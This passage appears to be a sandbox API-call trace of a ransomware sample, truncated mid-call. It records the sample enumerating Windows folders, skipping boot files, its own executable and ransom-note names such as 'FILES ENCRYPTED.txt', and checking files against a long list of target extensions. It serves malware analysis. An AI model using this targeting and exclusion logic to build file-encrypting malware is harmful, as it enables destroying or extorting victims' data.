[0113.862] lstrlenW (lpString="desktop.ini") returned 11 [0113.862] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0113.862] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0113.862] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0113.862] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0113.862] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0113.862] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0113.862] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0113.862] lstrcmpiW (lpString1="SauvegardeProjet.exe", lpString2="desktop.ini") returned 1 [0113.862] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0113.862] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0 [0113.862] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.862] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 0 [0113.862] FindClose (in: hFindFile=0x52c4e8 | out: hFindFile=0x52c4e8) returned 1 [0113.862] FindNextFileW (in: hFindFile=0x52c4a8, lpFindFileData=0x6cfa88 | out: lpFindFileData=0x6cfa88) returned 1 [0113.862] lstrlenW (lpString="C:\\Boot") returned 7 [0113.862] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0113.862] lstrlenW (lpString="Boot") returned 4 [0113.862] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0113.862] lstrlenW (lpString="C:\\Boot") returned 7 [0113.863] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 0x52c4e8 [0113.863] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.863] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.863] lstrlenW (lpString="BCD") returned 3 [0113.863] lstrlenW (lpString=".1cd") returned 4 [0113.863] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".3ds") returned 4 [0113.863] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".3fr") returned 4 [0113.863] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".3g2") returned 4 [0113.863] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".3gp") returned 4 [0113.863] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".7z") returned 3 [0113.863] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0113.863] lstrlenW (lpString=".accda") returned 6 [0113.863] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".accdb") returned 6 [0113.863] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".accdc") returned 6 [0113.863] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".accde") returned 6 [0113.863] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".accdt") returned 6 [0113.863] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".accdw") returned 6 [0113.863] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".adb") returned 4 [0113.863] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".adp") returned 4 [0113.863] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".ai") returned 3 [0113.863] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0113.863] lstrlenW (lpString=".ai3") returned 4 [0113.863] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0113.863] lstrlenW (lpString=".ai4") returned 4 [0113.864] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".ai5") returned 4 [0113.864] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".ai6") returned 4 [0113.864] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".ai7") returned 4 [0113.864] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".ai8") returned 4 [0113.864] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".anim") returned 5 [0113.864] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".arw") returned 4 [0113.864] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".as") returned 3 [0113.864] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0113.864] lstrlenW (lpString=".asa") returned 4 [0113.864] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".asc") returned 4 [0113.864] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".ascx") returned 5 [0113.864] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".asm") returned 4 [0113.864] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".asmx") returned 5 [0113.864] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".asp") returned 4 [0113.864] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".aspx") returned 5 [0113.864] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".asr") returned 4 [0113.864] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".asx") returned 4 [0113.864] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".avi") returned 4 [0113.864] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".avs") returned 4 [0113.864] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".backup") returned 7 [0113.864] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0113.864] lstrlenW (lpString=".bak") returned 4 [0113.864] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".bay") returned 4 [0113.865] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".bd") returned 3 [0113.865] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0113.865] lstrlenW (lpString=".bin") returned 4 [0113.865] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".bmp") returned 4 [0113.865] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".bz2") returned 4 [0113.865] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".c") returned 2 [0113.865] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0113.865] lstrlenW (lpString=".cdr") returned 4 [0113.865] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".cer") returned 4 [0113.865] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".cf") returned 3 [0113.865] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0113.865] lstrlenW (lpString=".cfc") returned 4 [0113.865] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".cfm") returned 4 [0113.865] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".cfml") returned 5 [0113.865] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".cfu") returned 4 [0113.865] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".chm") returned 4 [0113.865] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".cin") returned 4 [0113.865] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".class") returned 6 [0113.865] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".clx") returned 4 [0113.865] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".config") returned 7 [0113.865] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".cpp") returned 4 [0113.865] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".cr2") returned 4 [0113.865] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0113.865] lstrlenW (lpString=".crt") returned 4 [0113.866] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".crw") returned 4 [0113.866] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".cs") returned 3 [0113.866] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0113.866] lstrlenW (lpString=".css") returned 4 [0113.866] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".csv") returned 4 [0113.866] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".cub") returned 4 [0113.866] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".dae") returned 4 [0113.866] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".dat") returned 4 [0113.866] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".db") returned 3 [0113.866] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0113.866] lstrlenW (lpString=".dbf") returned 4 [0113.866] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".dbx") returned 4 [0113.866] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".dc3") returned 4 [0113.866] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".dcm") returned 4 [0113.866] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".dcr") returned 4 [0113.866] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".der") returned 4 [0113.866] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".dib") returned 4 [0113.866] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".dic") returned 4 [0113.866] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".dif") returned 4 [0113.866] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".divx") returned 5 [0113.866] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".djvu") returned 5 [0113.866] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0113.866] lstrlenW (lpString=".dng") returned 4 [0113.867] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".doc") returned 4 [0113.867] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".docm") returned 5 [0113.867] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".docx") returned 5 [0113.867] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".dot") returned 4 [0113.867] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".dotm") returned 5 [0113.867] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".dotx") returned 5 [0113.867] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".dpx") returned 4 [0113.867] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".dqy") returned 4 [0113.867] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".dsn") returned 4 [0113.867] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".dt") returned 3 [0113.867] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0113.867] lstrlenW (lpString=".dtd") returned 4 [0113.867] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".dwg") returned 4 [0113.867] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".dwt") returned 4 [0113.867] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".dx") returned 3 [0113.867] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0113.867] lstrlenW (lpString=".dxf") returned 4 [0113.867] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".edml") returned 5 [0113.867] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".efd") returned 4 [0113.867] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".elf") returned 4 [0113.867] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".emf") returned 4 [0113.867] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0113.867] lstrlenW (lpString=".emz") returned 4 [0113.867] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0113.868] lstrlenW (lpString=".epf") returned 4 [0113.868] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0113.868] lstrlenW (lpString=".eps") returned 4 [0113.868] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0113.868] lstrlenW (lpString=".epsf") returned 5 [0113.868] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0113.868] lstrlenW (lpString=".epsp") returned 5 [0113.868] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0113.868] lstrlenW (lpString=".erf") returned 4 [0113.868] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0113.868] lstrlenW (lpString=".exr") returned 4 [0113.868] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0113.868] lstrlenW (lpString=".f4v") returned 4 [0113.868] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0113.868] lstrlenW (lpString=".fido") returned 5 [0113.868] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0113.868] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.871] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.871] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.871] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.871] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.871] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.871] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.871] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.871] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.872] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.872] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.872] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.872] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.872] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.873] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.873] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.873] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.873] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.873] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.873] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.873] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.874] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.874] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.874] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.874] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.874] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.875] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.875] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.875] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.875] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.875] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.875] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.875] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.876] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.876] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.876] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.876] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.876] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.877] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.878] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.878] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.880] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.880] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.880] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.880] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.881] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.881] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.881] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.881] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.881] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.881] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.882] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.882] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.882] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.882] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.882] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.882] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.882] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.882] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.882] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.882] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.883] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.883] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.883] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.883] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.883] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.884] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.884] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.884] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.884] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.884] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.885] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.885] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.885] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.885] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.885] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.885] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.885] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.885] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.886] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.886] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.886] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.886] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.886] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.886] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.887] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.887] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.887] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.887] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.887] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.887] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.888] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.888] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.888] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.888] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.888] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.888] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.888] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.888] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.888] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.888] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.889] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.889] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.889] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.889] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.889] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.890] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.890] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.890] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.890] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.890] FindFirstFileW (in: 